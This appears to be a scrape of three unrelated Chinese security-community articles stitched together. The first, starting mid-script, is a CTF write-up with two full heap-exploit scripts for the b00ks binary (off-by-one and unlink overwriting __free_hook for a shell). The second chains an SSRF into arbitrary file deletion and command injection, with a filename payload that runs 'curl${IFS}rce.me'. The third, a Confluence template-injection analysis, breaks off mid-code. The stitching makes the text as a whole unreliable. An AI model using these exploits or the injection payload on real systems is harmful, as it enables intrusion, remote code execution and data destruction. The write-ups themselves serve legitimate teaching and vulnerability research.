book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def author_name(name):
cmd(5)
io.sendlineafter(": ", str(name))
def exp():
io.sendlineafter(": ", "author".rjust(0x20,'a'))
create(48, '1a', 240, '1b') #1
create(0x21000, '2a', 0x21000, '2b')#2
book_id_1, book_name, book_des, book_author = printbook(1)
first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))
io.success('first_heap: 0x%x' % first_heap)
gdb.attach(io)
payload = 'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
edit(1, payload)
author_name("author".rjust(0x20,'a'))
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,'\x00'))
book2_des_addr = u64(book_des.ljust(8, '\x00'))
io.success("book2 name addr: 0x%x" % book2_name_addr)
io.success("book2 des addr: 0x%x" % book2_des_addr)
libc_base = book2_des_addr - 0x5a8010
io.success("libc_base: 0x%x" % libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
offset = 0x45216
offset = 0x4526a
#offset = 0xf02a4
#offset = 0xf1147
one_gadget = libc_base + offset
io.success("free_hook addr: 0x%x" % free_hook)
io.success("one_gadget addr: 0x%x" % one_gadget)
payload = p64(free_hook)
edit(1, payload)
edit(2, p64(one_gadget))
remove(2)
if __name__ == '__main__':
exp()
io.interactive()
我只讲解exp函数内的内容，外面的那些只是为了方便堆块的申请，输出，删除什么的，堆题建议都写成函数，因为将会有大量重复动作
##### 填满author
io.sendlineafter(": ", "author".rjust(0x20,'a'))
具体查找author位置可以跟我一样，find 字符串
gdb-peda$ find author
Searching for 'author' in: None ranges
Found 8 results, display max 8 items:
b00ks_debug : 0x555b3bcd83e1 ("author name")
b00ks_debug : 0x555b3bcd8401 ("author name: ")
b00ks_debug : 0x555b3bcd841c ("author_name")
b00ks_debug : 0x555b3bed83e1 ("author name")
b00ks_debug : 0x555b3bed8401 ("author name: ")
b00ks_debug : 0x555b3bed841c ("author_name")
b00ks_debug : 0x555b3bed905a --> 0xa160726f68747561
[stack] : 0x7ffed60b6406 ("author name: ")
这是创建一个堆块过后的效果，第三行便是book1结构体地址
gdb-peda$ x/20gx 0x555b3bed905a-0x2-0x18
0x555b3bed9040: 0x6161616161616161 0x6161616161616161
0x555b3bed9050: 0x6161616161616161 0x726f687475616161
0x555b3bed9060: 0x0000555b3bf8a160 0x0000000000000000
0x555b3bed9070: 0x0000000000000000 0x0000000000000000
0x555b3bed9080: 0x0000000000000000 0x0000000000000000
0x555b3bed9090: 0x0000000000000000 0x0000000000000000
0x555b3bed90a0: 0x0000000000000000 0x0000000000000000
0x555b3bed90b0: 0x0000000000000000 0x0000000000000000
0x555b3bed90c0: 0x0000000000000000 0x0000000000000000
0x555b3bed90d0: 0x0000000000000000 0x0000000000000000
##### 创建堆块1
相信我，这里是这道题最难的地方，过了这个坎就很简单了，每个人环境不同，处理的结果也不一样，所以自行调试，在这里我能给你的建议就是将description申请大一点，泄露部分不需要这里大小控制，先不讲，你先调试到能泄露就行
##### 泄露地址
这个不多讲
##### 通过edit伪造book结构体
payload = 'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
edit(1, payload)
这前面的偏移是看个人环境的，网上的很多没有偏移，在我电脑环境上做不到，我通过这个偏移能刚好对齐，具体调试过程就是繁杂的了，总之，你要让你覆盖掉堆块1的地址那部分，刚好在book1的description指针指向的空间里，这样你才能自行伪造结构体
比如
我泄露出来的第一个堆块地址为这个[+] first_heap: 0x55b6b5d72160
那这时候我覆盖过后地址就变成[+] first_heap:
0x55b6b5d72100，你要让0x55b6b5d72100在description指向的空间内就成了，建议将description申请的大一些，这样容易做到，这部分跟创建堆块1是结合起来的，你看我创建的大小在你那不一定准确
##### 这时候再次利用off by one
author_name("author".rjust(0x20,'a'))
将地址最低位覆盖成\x00,这样我们我们的那个堆块1的指针就指向了我们自己伪造的结构体了，这个结构体description和name我们指向了book2结构体，这样我们通过编辑堆块1的description就能改掉book2的结构体的description指针和name指针，我们能编辑book2的description，相当于任意写了
##### 这里部分就只是泄露了
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,'\x00'))
book2_des_addr = u64(book_des.ljust(8, '\x00'))
io.success("book2 name addr: 0x%x" % book2_name_addr)
io.success("book2 des addr: 0x%x" % book2_des_addr)
libc_base = book2_des_addr - 0x5a8010
io.success("libc_base: 0x%x" % libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
offset = 0x45216
offset = 0x4526a
#offset = 0xf02a4
#offset = 0xf1147
one_gadget = libc_base + offset
io.success("free_hook addr: 0x%x" % free_hook)
io.success("one_gadget addr: 0x%x" % one_gadget)
这里那个固定偏移，第一部分libc_base我是通过vmmap获得libc基地址，然后我调试的时候减一下就获得这个固定偏移了
gdb-peda$ vmmap
Start End Perm Name
0x0000564350ee5000 0x0000564350ee7000 r-xp /tmp/pwn/b00ks_debug
0x00005643510e6000 0x00005643510e7000 r--p /tmp/pwn/b00ks_debug
0x00005643510e7000 0x00005643510e8000 rw-p /tmp/pwn/b00ks_debug
0x0000564351cdd000 0x0000564351cff000 rw-p [heap]
0x00007f2805862000 0x00007f2805a22000 r-xp /home/greenhand/Desktop/heap/off_by_one/Asis_2016_b00ks/libc.so.6
0x00007f2805a22000 0x00007f2805c22000 ---p /home/greenhand/Desktop/heap/off_by_one/Asis_2016_b00ks/libc.so.6
0x00007f2805c22000 0x00007f2805c26000 r--p /home/greenhand/Desktop/heap/off_by_one/Asis_2016_b00ks/libc.so.6
0x00007f2805c26000 0x00007f2805c28000 rw-p /home/greenhand/Desktop/heap/off_by_one/Asis_2016_b00ks/libc.so.6
0x00007f2805c28000 0x00007f2805c2c000 rw-p mapped
0x00007f2805c2c000 0x00007f2805c52000 r-xp /tmp/ld.so.2
0x00007f2805e0a000 0x00007f2805e51000 rw-p mapped
0x00007f2805e51000 0x00007f2805e52000 r--p /tmp/ld.so.2
0x00007f2805e52000 0x00007f2805e53000 rw-p /tmp/ld.so.2
0x00007f2805e53000 0x00007f2805e54000 rw-p mapped
0x00007ffd06df4000 0x00007ffd06e15000 rw-p [stack]
0x00007ffd06edc000 0x00007ffd06edf000 r--p [vvar]
0x00007ffd06edf000 0x00007ffd06ee1000 r-xp [vdso]
在heap下面权限为r-xp的start部分的地址就是libc基地址了，
然后任选一个泄露的
[+] book2 name addr: 0x7f2805e2c010
[+] book2 des addr: 0x7f2805e0a010
我选了description部分的
└──╼ $python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x7f2805e0a010-0x00007f2805862000)
'0x5a8010'
>>>
就是这个固定偏移了
至于libc跟one_gadget偏移，用工具吧one_gadget
##### 最后任意地址写
1. 先编辑book1的description改成free_hook地址，就是将book2的description指针指向free_hook
2. 编辑book2的description，就是写入one_gadget了
3. 最后在调用一次free就可以getshell了
payload = p64(free_hook)
edit(1, payload)
edit(2, p64(one_gadget))
remove(2)
#### unlink原理
void unlink(malloc_chunk _P, malloc_chunk_ BK, malloc_chunk *FD)
{
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
[ctf-wiki讲解原理](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)
我觉得那张图配的十分好，就是双向链表的解链过程，好好理解，不理解没法搞下去
struct chunk{
int pre_size;
int size;
char *fd; //前驱指针 forward
char *bk; // 后继指针 back
数据部分
}
大概就是这样，我创建三个这个结构体，a,b,c连接部分如下图，
链表： a<->b<->c
将b从链表中解链就是unlink
过程：
1. FD = b->fd; //实际就是FD=a
2. BK = b->bk; //实际就是BK=c
3. FD->bk = BK; //就是从a->b变成a->c
4. BK->fd = FD; //就是从c->b变成c->a
那unlink为什么能利用，进行攻击呢？我也纠结了这个很久，从ctf-wiki上了解的过去的unlink就不讲了，那时候的攻击方式比较简单，我只讲现今的unlink攻击方式
我们可以通过伪造chunk，让他解链的时候unlink一个我们伪造的chunk，这样的话，我们实际就达到了一个赋值的效果，而具体的效果从例子中讲解吧
##### unlink攻击过程
1. 利用off-by-one覆盖掉结果的null字节，泄露第一个堆块的地址
2. 泄露掉后利用unlink，使得堆块4的mem部分的指针指向ptr-0x18处，ptr-0x18为自定义的地址，其实就是堆块4，就是create出来的那个堆块
3. 覆盖堆块4的内容，修改了堆块4的description的指针，指向了堆块6的description部分的指针
4. 其实第三部分就相当于获得了一个任意地址读写的指针
5. 这里有好几次修改容易绕晕，我绕了两天才绕出来，第一次修改的时候是将chunk4整体改写，从开头到description指针，全部改掉，将chunk4的description指向chunk6结构体的description
6. 然后第二次编辑的时候就是编辑chunk6结构体的description，这样就可以修改chunk6的description指针指向任意地点
7. 利用这个特性输出，输出了libc的地址，具体libc在哪个位置可以通过调试得到
8. 利用这个特性任意地址写
先对整体过程有个大概的了解，在一步步讲
##### 过程中的坑
1. 开头remove两次是有原因的，这样会让堆块6的结构体在前面几个堆块内，因为堆块同样大小的在free过后在malloc后会再次利用，这样方便我们自己调试查看以及利用
2. 调试时候的计算问题，可以用你当时调试出来的减去后两位数字，获得个heap_base这样直接利用heap_base + 偏移比较快计算结果
3. 当申请不是16的整数倍的时候，他会转换成16的整数倍，比如我exp中的0x108，实际大小会变成111，还有个1是标记的，他会将下一个chunk的pre_size拿来使用，因为没有free的话，pre_size是没用的，为了不浪费空间，就使用了
##### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
# Set up pwntools for the correct architecture
elf = context.binary = ELF('b00ks')
LIBC = args.LIBC or 'libc.so.6'
local = 1
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 1080)
ctx.binary = 'b00ks'
ctx.remote_libc = LIBC
ctx.debug_remote_libc = True
if ctx.debug_remote_libc == False:
libc = elf.libc
else:
libc = ctx.remote_libc
if local:
context.log_level = 'debug'
io = ctx.start()
else:
io = remote(host,port)
def cmd(choice):
io.recvuntil(">")
io.sendline(str(choice))
def create(book_size, book_name, desc_size, desc):
cmd(1)
io.sendlineafter(": ", str(book_size))
io.recvuntil(": ")
if len(book_name) == book_size:#deal with overflow
io.send(book_name)
else:
io.sendline(book_name)
io.recvuntil(": ")
io.sendline(str(desc_size))
if len(desc) == desc_size:
io.send(desc)
else:
io.sendline(desc)
def remove(idx):
cmd(2)
io.sendlineafter(": ", str(idx))
def edit(idx, desc):
cmd(3)
io.sendlineafter(": ", str(idx))
io.sendlineafter(": ", str(desc))
def printf():
cmd(4)
def author_name(name):
cmd(5)
io.sendlineafter(": ", str(name))
def exp():
io.sendlineafter(": ", "author".rjust(0x20,'a'))
create(0x20, '11111', 0x20, 'b') #1
printf()
io.recvuntil('Author: ')
io.recvuntil("author")
first_heap = u64(io.recvline().strip().ljust(8, '\x00'))
create(0x20, "22222", 0x20, "desc buf") #2
create(0x20, "33333", 0x20, "desc buf") #3
remove(2)
remove(3)
create(0x20, "33333", 0x108, 'overflow') #4
create(0x20, "44444", 0x100-0x10, 'target') #5
create(0x20, "/bin/sh\x00", 0x200, 'to arbitrary read and write') #6
heap_base = first_heap - 0x80
ptr = heap_base + 0x180
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
edit(4, payload)
remove(5)
payload = p64(0x30) + p64(4) + p64(first_heap+0x40)*2
edit(4, payload)
edit(4, p64(heap_base + 0x1e0))
printf()
for _ in range(3):
io.recvuntil('Description: ')
content = io.recvline()
io.info(content)
libc_base = u64(content.strip().ljust(8, '\x00'))-0x3c4b78
io.success("libc_base: 0x%x" % libc_base)
system_addr = libc_base + libc.symbols['system']
io.success('system: 0x%x' % system_addr)
free_hook = libc_base + libc.symbols['__free_hook']
payload = p64(free_hook) + p64(0x200)
edit(4, payload)
edit(6, p64(system_addr))
io.success('first_heap: 0x%x' % first_heap)
remove(6)
#gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
同样，我只讲解exp部分的内容，其余一样是准备工作
##### 填充并泄露堆块1地址
一样的过程，利用off-by-one泄露地址，不讲了，只讲重点
io.sendlineafter(": ", "author".rjust(0x20,'a'))
create(0x20, '11111', 0x20, 'b') #1
printf()
io.recvuntil('Author: ')
io.recvuntil("author")
first_heap = u64(io.recvline().strip().ljust(8, '\x00'))
##### 创建堆块并remove掉
create(0x20, "22222", 0x20, "desc buf") #2
create(0x20, "33333", 0x20, "desc buf") #3
remove(2)
remove(3)
这里是要将book6的结构体位置放到前面，方便利用，你可以自己去调试试试，不这样做的话，位置很难找，因为他定义的存储这个结构体的大小也是0x20+0x10(数据部分+结构部分)
##### unlink部分(重点)
create(0x20, "33333", 0x108, 'overflow') #4
create(0x20, "44444", 0x100-0x10, 'target') #5
create(0x20, "/bin/sh\x00", 0x200, 'to arbitrary read and write') #6
heap_base = first_heap - 0x80
ptr = heap_base + 0x180
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
edit(4, payload)
remove(5)
1. 创建两个smallchunk，因为unlink只有在smallbin下才可以，fastbin不行
2. 最后一个chunk是用来编辑的，以及free的，free的参数要带/bin/sh，就是要将他改写成system函数
3. heap_base = first_heap - 0x80这个偏移自己定，每次调试可能都不一样，反正只要对的上你自己调试的时候就行，方便自己计算，我这里调试的时候是
[+] first_heap: 0x56182d174080所以减了0x80
gdb-peda$ x/50gx 0x5653ee7a5080
0x5653ee7a5080: 0x0000000000000001 0x00005653ee7a5020
0x5653ee7a5090: 0x00005653ee7a5050 0x0000000000000020
0x5653ee7a50a0: 0x0000000000000000 0x0000000000000031
0x5653ee7a50b0: 0x0000000000000006 0x00005653ee7a50e0
0x5653ee7a50c0: 0x00005653ee7a53e0 0x0000000000000200
0x5653ee7a50d0: 0x0000000000000000 0x0000000000000031
0x5653ee7a50e0: 0x0068732f6e69622f 0x0000000000000000
0x5653ee7a50f0: 0x0000000000000000 0x0000000000000000
0x5653ee7a5100: 0x0000000000000000 0x0000000000000031
0x5653ee7a5110: 0x0000565300000005 0x00005653ee7a5140
0x5653ee7a5120: 0x00005653ee7a52e0 0x00000000000000f0
0x5653ee7a5130: 0x0000000000000000 0x0000000000000031
0x5653ee7a5140: 0x0000003434343434 0x0000000000000000
0x5653ee7a5150: 0x0000000000000000 0x0000000000000000
0x5653ee7a5160: 0x0000000000000000 0x0000000000000031
0x5653ee7a5170: 0x0000565300000004 0x00005653ee7a51a0
0x5653ee7a5180: 0x00005653ee7a51d0 0x0000000000000108
0x5653ee7a5190: 0x0000000000000000 0x0000000000000031
0x5653ee7a51a0: 0x0000003333333333 0x00005653ee7a5140
0x5653ee7a51b0: 0x00005653ee7a5170 0x0000000000000020
0x5653ee7a51c0: 0x0000000000000000 0x0000000000000111 #chunk4
0x5653ee7a51d0: 0x0000000000000000 0x0000000000000101 #实际可以写部分
0x5653ee7a51e0: 0x00005653ee7a5168 0x00005653ee7a5170
0x5653ee7a51f0: 0x0000000000000000 0x0000000000000000
0x5653ee7a5200: 0x0000000000000000 0x0000000000000000
这是我显示first_heap后的数据，0x5653ee7a51d0便是申请的0x108的chunk，我在这里伪造了一个chunk，fd和bk在0x5653ee7a51e0，然后通过溢出将下个chunk的pre_size改成我这个伪造的chunk大小
在看看相邻的堆块
gdb-peda$ x/50gx 0x5653ee7a51c0
0x5653ee7a51c0: 0x0000000000000000 0x0000000000000111
0x5653ee7a51d0: 0x0000000000000000 0x0000000000000101 #伪造的chunk记为p
0x5653ee7a51e0: 0x00005653ee7a5168 0x00005653ee7a5170
0x5653ee7a51f0: 0x0000000000000000 0x0000000000000000
0x5653ee7a5200: 0x0000000000000000 0x0000000000000000
0x5653ee7a5210: 0x0000000000000000 0x0000000000000000
0x5653ee7a5220: 0x0000000000000000 0x0000000000000000
0x5653ee7a5230: 0x0000000000000000 0x0000000000000000
0x5653ee7a5240: 0x0000000000000000 0x0000000000000000
0x5653ee7a5250: 0x0000000000000000 0x0000000000000000
0x5653ee7a5260: 0x0000000000000000 0x0000000000000000
0x5653ee7a5270: 0x0000000000000000 0x0000000000000000
0x5653ee7a5280: 0x0000000000000000 0x0000000000000000
0x5653ee7a5290: 0x0000000000000000 0x0000000000000000
0x5653ee7a52a0: 0x0000000000000000 0x0000000000000000
0x5653ee7a52b0: 0x0000000000000000 0x0000000000000000
0x5653ee7a52c0: 0x0000000000000000 0x0000000000000000
0x5653ee7a52d0: 0x0000000000000100 0x0000000000000100 #chunk5
0x5653ee7a52e0: 0x0000746567726174 0x0000000000000000 #实际可以写部分
0x5653ee7a52f0: 0x0000000000000000 0x0000000000000000
0x5653ee7a5300: 0x0000000000000000 0x0000000000000000
0x5653ee7a5310: 0x0000000000000000 0x0000000000000000
0x5653ee7a5320: 0x0000000000000000 0x0000000000000000
0x5653ee7a5330: 0x0000000000000000 0x0000000000000000
0x5653ee7a5340: 0x0000000000000000 0x0000000000000000
这时候我remove(5)的话，会变成什么样呢？他会unlink(p)，然后将chunk5向前合并，不信试试看，这里数据需要精心构造，才能造成任意写的能力
remove(5)效果，变成了201，这是合并的效果，然后地址部分指向了libc部分的地址，如果我们能泄露这部分地址，就获得libc
还有个重点，我们的unlink过程没显示出来，我们分析下，unlink(p)做了啥
假设我们chunk4数据部分的地址为myptr
这里unlink(p)
1. FD = ptr-0x18
2. BK = ptr-0x10
3. 检测FD->bk==p? && BK->fd == p?
4. 检测成功过后
5. FD->bk <=> FD+0x18 <=> _(ptr-0x18+0x18) = BK = ptr-0x10 实际就是_ ptr=ptr-0x10
6. BK->FD <=> BK+0x10 <=> _(ptr-0x10+0x10) = FD = ptr-0x18 实际就是_ ptr=ptr-0x18
重点在第6行，我们将*ptr改成了ptr-0x18
看ptr是哪里
gdb-peda$ x/10gx 0x5577f976f080-0x80+0x180
0x5577f976f180: 0x00005577f976f168 0x0000000000000108
0x5577f976f190: 0x0000000000000000 0x0000000000000031
0x5577f976f1a0: 0x0000003333333333 0x00005577f976f140
0x5577f976f1b0: 0x00005577f976f170 0x0000000000000020
0x5577f976f1c0: 0x0000000000000000 0x0000000000000111
从整体来看
gdb-peda$ x/50gx 0x5577f976f080
0x5577f976f080: 0x0000000000000001 0x00005577f976f020
0x5577f976f090: 0x00005577f976f050 0x0000000000000020
0x5577f976f0a0: 0x0000000000000000 0x0000000000000031
0x5577f976f0b0: 0x0000000000000006 0x00005577f976f0e0
0x5577f976f0c0: 0x00005577f976f3e0 0x0000000000000200
0x5577f976f0d0: 0x0000000000000000 0x0000000000000031
0x5577f976f0e0: 0x0068732f6e69622f 0x0000000000000000
0x5577f976f0f0: 0x0000000000000000 0x0000000000000000
0x5577f976f100: 0x0000000000000000 0x0000000000000031
0x5577f976f110: 0x00005577f976f130 0x00005577f976f140
0x5577f976f120: 0x00005577f976f2e0 0x00000000000000f0
0x5577f976f130: 0x0000000000000000 0x0000000000000031
0x5577f976f140: 0x0000000000000000 0x0000000000000000
0x5577f976f150: 0x0000000000000000 0x0000000000000000
0x5577f976f160: 0x0000000000000000 0x0000000000000031
0x5577f976f170: 0x0000557700000004 0x00005577f976f1a0 #book4结构体
0x5577f976f180: 0x00005577f976f168 0x0000000000000108 #ptr，
0x5577f976f190: 0x0000000000000000 0x0000000000000031
0x5577f976f1a0: 0x0000003333333333 0x00005577f976f140
0x5577f976f1b0: 0x00005577f976f170 0x0000000000000020
0x5577f976f1c0: 0x0000000000000000 0x0000000000000111
0x5577f976f1d0: 0x0000000000000000 0x0000000000000201
0x5577f976f1e0: 0x00007f452ad38b78 0x00007f452ad38b78
0x5577f976f1f0: 0x0000000000000000 0x0000000000000000
0x5577f976f200: 0x0000000000000000 0x0000000000000000
*ptr = ptr -0x18,也就是0x5577f976f180里的内容改为0x5577f976f168
这样，再次edit(4,payload)的话就可以修改从168开始的size以及name和description指针
合并效果
gdb-peda$ x/50gx 0x5577f976f1c0
0x5577f976f1c0: 0x0000000000000000 0x0000000000000111
0x5577f976f1d0: 0x0000000000000000 0x0000000000000201
0x5577f976f1e0: 0x00007f452ad38b78 0x00007f452ad38b78
0x5577f976f1f0: 0x0000000000000000 0x0000000000000000
0x5577f976f200: 0x0000000000000000 0x0000000000000000
0x5577f976f210: 0x0000000000000000 0x0000000000000000
0x5577f976f220: 0x0000000000000000 0x0000000000000000
0x5577f976f230: 0x0000000000000000 0x0000000000000000
0x5577f976f240: 0x0000000000000000 0x0000000000000000
0x5577f976f250: 0x0000000000000000 0x0000000000000000
0x5577f976f260: 0x0000000000000000 0x0000000000000000
0x5577f976f270: 0x0000000000000000 0x0000000000000000
0x5577f976f280: 0x0000000000000000 0x0000000000000000
0x5577f976f290: 0x0000000000000000 0x0000000000000000
0x5577f976f2a0: 0x0000000000000000 0x0000000000000000
0x5577f976f2b0: 0x0000000000000000 0x0000000000000000
0x5577f976f2c0: 0x0000000000000000 0x0000000000000000
0x5577f976f2d0: 0x0000000000000100 0x0000000000000100
0x5577f976f2e0: 0x0000746567726174 0x0000000000000000
0x5577f976f2f0: 0x0000000000000000 0x0000000000000000
0x5577f976f300: 0x0000000000000000 0x0000000000000000
0x5577f976f310: 0x0000000000000000 0x0000000000000000
0x5577f976f320: 0x0000000000000000 0x0000000000000000
0x5577f976f330: 0x0000000000000000 0x0000000000000000
0x5577f976f340: 0x0000000000000000 0x0000000000000000
##### 再次修改book4的结构体
payload = p64(0x30) + p64(4) + p64(first_heap+0x40)*2
edit(4, payload)
edit(4, p64(heap_base + 0x1e0))
printf()
for _ in range(3):
io.recvuntil('Description: ')
content = io.recvline()
io.info(content)
libc_base = u64(content.strip().ljust(8, '\x00'))-0x3c4b7
io.success("libc_base: 0x%x" % libc_base)
system_addr = libc_base + libc.symbols['system']
io.success('system: 0x%x' % system_addr)
free_hook = libc_base + libc.symbols['__free_hook']
0x30是他原来大小，4为id 4，
然后我将name和description指针都改为first_heap+0x40处，为什么是这里呢？因为，这里是book6的结构体部分的description部分指针，这样就获得了任意地址读写的能力，
第二次edit(4, p64(heap_base + 0x1e0))的时候就是将book6的description指针改成指向heap_base +
0x1e0处，为什么是这里，看上面
从整体来看
gdb-peda$ x/50gx 0x5577f976f080
0x5577f976f080: 0x0000000000000001 0x00005577f976f020
0x5577f976f090: 0x00005577f976f050 0x0000000000000020
0x5577f976f0a0: 0x0000000000000000 0x0000000000000031
0x5577f976f0b0: 0x0000000000000006 0x00005577f976f0e0
0x5577f976f0c0: 0x00005577f976f3e0 0x0000000000000200
0x5577f976f0d0: 0x0000000000000000 0x0000000000000031
0x5577f976f0e0: 0x0068732f6e69622f 0x0000000000000000
0x5577f976f0f0: 0x0000000000000000 0x0000000000000000
0x5577f976f100: 0x0000000000000000 0x0000000000000031
0x5577f976f110: 0x00005577f976f130 0x00005577f976f140
0x5577f976f120: 0x00005577f976f2e0 0x00000000000000f0
0x5577f976f130: 0x0000000000000000 0x0000000000000031
0x5577f976f140: 0x0000000000000000 0x0000000000000000
0x5577f976f150: 0x0000000000000000 0x0000000000000000
0x5577f976f160: 0x0000000000000000 0x0000000000000031
0x5577f976f170: 0x0000557700000004 0x00005577f976f1a0
0x5577f976f180: 0x00005577f976f168 0x0000000000000108
0x5577f976f190: 0x0000000000000000 0x0000000000000031
0x5577f976f1a0: 0x0000003333333333 0x00005577f976f140
0x5577f976f1b0: 0x00005577f976f170 0x0000000000000020
0x5577f976f1c0: 0x0000000000000000 0x0000000000000111
0x5577f976f1d0: 0x0000000000000000 0x0000000000000201
0x5577f976f1e0: 0x00007f452ad38b78 0x00007f452ad38b78 #libc地址
0x5577f976f1f0: 0x0000000000000000 0x0000000000000000
0x5577f976f200: 0x0000000000000000 0x0000000000000000
这样就泄露了libc地址，那个固定偏移，也是利用vmmap查看，然后相减获得的
##### 任意地址写
payload = p64(free_hook) + p64(0x200)
edit(4, payload)
edit(6, p64(system_addr))
io.success('first_heap: 0x%x' % first_heap)
remove(6)
#gdb.attach(io)
1. edit(4,payload)这里将book6的description指针指向free_hook
2. 然后edit是改成system地址，最后调用一次free就成了
## 课后小知识总结
3. 在gdb中用find查找字符串，可以获得指定位置
4. 堆块会复用，就是free过后的小堆块，在再次malloc后会用相同的堆块
5. 在计算的时候可以以一个为基地址，这样好计算
6. vmmap获得libc地址后，在相减获得固定偏移，适用于smallbin第一次free的chunk和mmap申请的堆块
7. 具体情况具体分析，不要照搬照抄原版exp，有些是要改的，大佬们觉得简单可能就没注释了
## 总结
8. 题目不难，但自己做确实有点难度，研究了好久
9. 写这个入门的文章也挺难的，要自己懂点，有人带就好点了，希望有师傅可以带带我
10. 要开学了，另一道题目下次在研究了，off-by-one另一道题目
11. 这道题同时学习了unlink跟off-by-one
12. 我一定会出这个系列的文章的，坚持就是胜利(我对我自己说的，hh) | 社区文章 |
> Author: TheKingOfDuck@0KEE Team
### 0x01 起
某系统的升级功能可配置自定义的站点, 点击升级按钮后会触发向特定路由发送文件, 也就是一个鸡肋的`POST`类型的 **路由和参数均不可控**
的`SSRF`。
如下图,`**_update`是从用户自定义的配置中取的, 与固定的`route`变量拼接后作为发送文件的`url`
已知开发语言为`Python`, 发送文件时使用的是`requests`模块。利用该模块默认跟随状态码`30X`跳转的特性,
可将这个鸡肋的`SSRF`变成一个`GET`类型的 **路由和参数均可控** 的`SSRF`
### 0x02 承
该软件的分层大致如下图, 鉴权在应用层, 涉及数据涉及敏感操作的均通过api调用另一个端口的上的服务, 该过程无鉴权。思路比较清晰,
可审计服务层的代码漏洞结合已有的`SSRF`进一步扩大危害。
受这个`SSRF`本身的限制, 寻找服务层漏洞时优先看请求方式为`GET`的路由, 筛选后找到一个符合条件的漏洞点如下图所示,
传入的`doc_file_path`参数可控, 如果文件名中能带入自己的恶意`Payload`且文件能够存在的情况下,
拼接到`cmd`变量中后有机会`RCE`。
走到命令拼接的前置条件是文件存在, 故先查看上传部分代码, 如下图所示, [mkstemp方法](https://docs.python.org/zh-cn/3/library/tempfile.html#tempfile.mkstemp)的作用是以最安全的方式创建一个临时文件, 该文件的文件名随机,
创建后不会自动删除, 需用户自行将其删除, `suffixs`是指定的后缀, 也就是说文件虽然可以落地, 但文件名不可控,
无法拼接自己的`Payload`。
此时只能作为一个任意文件删除的漏洞来使用,
配置升级链接`301`跳转到`http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd`,
其中`doc_file_path`参数为已知的存在的文件, 点击系统升级按钮即可触发删除操作。
### 0x03 转
继续分析代码，阅读大量代码后找到一处上传文件的功能点如下图所示, 其中`file_pre`为源文件名,
拼接下划线,时间戳以及`.txt`后保存并返回了完整的文件路径，正好符合上面的要求。
源文件名可控, 路径已知,`SSRF`升级`RCE`变得索然无味, 使用分号切割命令语句,带参数的命令可以使用`${IFS}`绕一下空格问题,
涉及到的`${;`均为unix系统文件名允许使用范围的字符。
### 0x04 合
参数及路由均不可控`POST`类型的`SSRF` -> `requests` `30X`跳转特性 -> 参数和路由均可控的`GET`类型`SSRF` ->
文件名部分可控的文件上传 -> 多点结合攻击本地服务
最终Payload如下:
http://127.0.0.1:8848/api/doc?doc_file_path=
/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt
配置完成手动点击一下升级功能即可触发命令执行。 | 社区文章 |
**作者：Badcode@知道创宇404实验室
时间：2019年4月8日
English Version: <https://paper.seebug.org/886/>**
看到官方发布了预警，于是开始了漏洞应急。漏洞描述中指出Confluence Server与Confluence Data Center中的Widget
Connector存在服务端模板注入漏洞，攻击者能利用此漏洞能够实现目录穿越与远程代码执行。
确认漏洞点是Widget
Connector，下载最新版的比对补丁，发现在`com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java`里面多了一个过滤，这个应该就是这个漏洞最关键的地方。
可以看到
this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));
而`TEMPLATE_PARAM`的值就是`_template`，所以这个补丁就是过滤了外部传入的`_template`参数。
public interface VelocityRenderService {
public static final String WIDTH_PARAM = "width";
public static final String HEIGHT_PARAM = "height";
public static final String TEMPLATE_PARAM = "_template";
翻了一下Widget Connector里面的文件，发现`TEMPLATE_PARAM`就是模板文件的路径。
public class FriendFeedRenderer implements WidgetRenderer {
private static final String MATCH_URL = "friendfeed.com";
private static final String PATTERN = "friendfeed.com/(\\w+)/?";
private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";
private VelocityRenderService velocityRenderService;
......
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
return velocityRenderService.render(getEmbedUrl(url), params);
}
加载外部的链接时，会调用相对的模板去渲染，如上，模板的路径一般是写死的，但是也有例外，补丁的作用也说明有人突破了限制，调用了意料之外的模板，从而造成了模板注入。
在了解了补丁和有了一些大概的猜测之后，开始尝试。
首先先找到这个功能，翻了一下官方的文档，找到了这个功能，可以在文档中嵌入一些视频，文档之类的。
看到这个，有点激动了，因为在翻补丁的过程中，发现了几个参数，`url`，`width`，`height`正好对应着这里，那`_template`是不是也从这里传递进去的？
随便找个Youtube视频插入试试，点击预览，抓包。
在`params`中尝试插入`_template`参数，好吧，没啥反应。。
开始debug模式，因为测试插入的是Youtube视频，所以调用的是`com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class`
public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {
private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.)?youtube.com.*(\\?v=([^&]+)).*$");
private final PlaceholderService placeholderService;
